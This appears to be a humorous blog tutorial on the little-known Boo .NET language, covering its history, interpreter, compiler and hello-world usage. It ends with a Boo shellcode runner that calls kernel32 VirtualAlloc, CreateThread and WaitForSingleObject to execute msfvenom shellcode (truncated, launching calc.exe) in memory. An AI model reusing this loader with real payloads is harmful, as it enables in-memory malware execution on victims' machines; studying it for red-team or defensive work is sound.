Knock, knock! Who’s there? Boo! Boo who? It’s Boo language, the spooky dead language that you may not have heard about.
It is a language for .Net with a clean python-like syntax with powerful features. Boo is statically compiled and the features include:
- First class functions
- Generators
- Closures
- Lists
Boo is fully interoperable with other .Net assemblies.
It makes the most sense to use Boo on windows, but you will need at least .NET Framework 4.0. On Linux and Mac, if you’re running Mono you will be all set as well.
Installing Boo – The Spooky Language
Just head over to the official page to download Boo… wait a minute, where in the world is codehaus.org? Oh, it seems just like the language, that page too has died. BOO!
Find out the whole story on why this Codehaus page has fallen here, but below is what you need to know…
Boo Language, Dead?
Boo was discontinued in 2014, due to the tough competition of its counterparts C# and JavaScript.
Have no fear, Rodrigo Bamboo is here to save the day with his Github page! He is the creator of Boo Language.
It’s as simple as cloning the repository to your local machine and you can make use of the language if all the pre-requirements stated earlier are met. (.Net 4.0 or Mono)
Let us recap so far before we start looking at the code. So far we’ve covered the following:
- Boo is the love child between Python and C#
- Syntax heavily inspired by Python
- Can call Native Functions!!!! (Everything is truly in memory!)
Boo Programming Language
Wait a minute… If Boo is like Python, does it come with an interactive interpreter???
What in the world!?! Why wasn’t this language popular? Besides competing with C# and Javascript…
Apparently, the community was small and the documentation wasn’t as robust as the others that are still very popular today.
Boo Language, Undead?
To get to the interactive interpreter, we just need to run booish.exe
PS C:\Users\jmfl\boo\bin> .\booish.exe
Welcome to booish, an interactive interpreter for the boo programming language.
Running boo 0.9.7.0 on CLR 4.0.30319.42000.
>>> print "My name is jmfl!"
My name is jmfl!
Testing Boo Code
In order to test our Boo code before compiling, we can use booi.exe.
PS C:\Users\jmfl\boo\bin> .\booi.exe -h
Usage: booi [options] <script|-> [-- [script options]]
Options:
-cache[+-] Generate compilation cache files (.booc) (default: -)
-debug[+-] Generate debugging information (default: +)
-d -define:symbol Defines a symbols with optional values (=val)
-ducky[+-] Turns on duck typing by default
-h -help[+-] Display this help and exit
-l -lib:directory Adds a directory to the list of assembly search paths
-o -output:output Save generated assembly in the given file name (copying dependencies next to it)
-p -packages:directory Adds a packages directory for assemblies to load
-r -reference:assembly References assembly
-runner:executable Runs an executable file passing the generated assembly
-strict[+-] Turns on strict mode
-v -verbose[+-] Generate verbose information (default: -)
-version[+-] Display program version
-w -warnings[+-] Report warnings (default: -)
-wsa[+-] Enables white-space-agnostic build
PS C:\Users\jmfl\boo\bin>
Before We Write Our First Program
Download Virtual Studio Code and download the boo-language extension.
Let us write our first program in boo!
Wow, that’s it? Is it that simple?
Time To Run Boo Code
PS C:\Users\jmfl\boo\bin> .\booi.exe .\helloWorld.boo
Hello World
PS C:\Users\jmfl\boo\bin>
Or Compile:
PS C:\Users\jmfl\boo\bin> .\booc.exe .\helloWorld.boo
Boo Compiler version 0.9.7.0 (CLR 4.0.30319.42000)
PS C:\Users\jmfl\boo\bin> .\helloWorld.exe
Hello World
PS C:\Users\jmfl\boo\bin>
Let’s Have Some Spooky Boo Fun…
Because Boo is powered by .NET, we can make use of most of the .NET classes… So an assembly is the actual .dll file on your hard drive where the classes in the .NET Framework are stored. For example, all the classes contained in the ASP.NET Framework are in an assembly named System.Web.dll.
Classic Shellcode injection Boo style:
import System.Runtime.InteropServices
from System import IntPtr
[DllImport("kernel32.dll")]
def VirtualAlloc(lpStartAddr as int, size as int, flAllocationType as int, flProtect as int) as int:
pass
[DllImport("kernel32.dll")]
def CreateThread(lpThreadAttributes as int, dwStackSize as int, lpStartAddress as int, param as int, dwCreationFlags as int, lpThreadId as int) as int:
pass
[DllImport("kernel32.dll")]
def WaitForSingleObject(hHandle as int, dwMilliseconds as long):
pass
PAGE_EXECUTE_READWRITE = 0x00000040
MEM_COMMIT = 0x00001000
# ./msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f csharp
shellcode = array(byte, (
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,
……TRUNCATED……
0x63,0x2e,0x65,0x78,0x65,0x00
))
funcAddr = VirtualAlloc(0, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
print "funcAddr = $funcAddr"
Marshal.Copy(shellcode, 0 , funcAddr cast IntPtr, shellcode.Length)
threadId = 0
pinfo = 0
hThread = CreateThread(0, 0, funcAddr, pinfo, 0 ,threadId)
print "hThread = $hThread"
WaitForSingleObject(hThread, 0xFFFFFFFF)
Boo Breakdown
First, we need to import what we need:
import System.Runtime.InteropServices
from System import IntPtr
Basic Process injection technique using Kernel32 APIs such as OpenProcess, VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread. In this technique, we will create a thread in a target process and use it to load the desired DLL or shellcode. Since we’re going to use kernel32.dll we need to import the method from the dll, Boo can do this!!
[DllImport("kernel32.dll")]
def VirtualAlloc(lpStartAddr as int, size as int, flAllocationType as int, flProtect as int) as int:
pass
[DllImport("kernel32.dll")]
def CreateThread(lpThreadAttributes as int, dwStackSize as int, lpStartAddress as int, param as int, dwCreationFlags as int, lpThreadId as int) as int:
pass
[DllImport("kernel32.dll")]
def WaitForSingleObject(hHandle as int, dwMilliseconds as long):
Here is a diagram to show an overview of process injection:
Below, we see the final piece of our code to cover the process injection:
funcAddr = VirtualAlloc(0, shellcode.Length, MEM_COMMIT,
PAGE_EXECUTE_READWRITE)
print "funcAddr = $funcAddr"
Marshal.Copy(shellcode, 0 , funcAddr cast IntPtr, shellcode.Length)
threadId = 0
pinfo = 0
hThread = CreateThread(0, 0, funcAddr, pinfo, 0 ,threadId)
print "hThread = $hThread"
WaitForSingleObject(hThread, 0xFFFFFFFF)
With all that in place, let’s use good old calc.exe shellcode:
BOOOOOOO YA 😊!
Process injection in BOO (who knew?), there is that calculator!!
References:
https://github.com/boo-lang/boo
https://www.infoworld.com/article/2892227/codehaus-the-once-great-house-of-code-has-fallen.html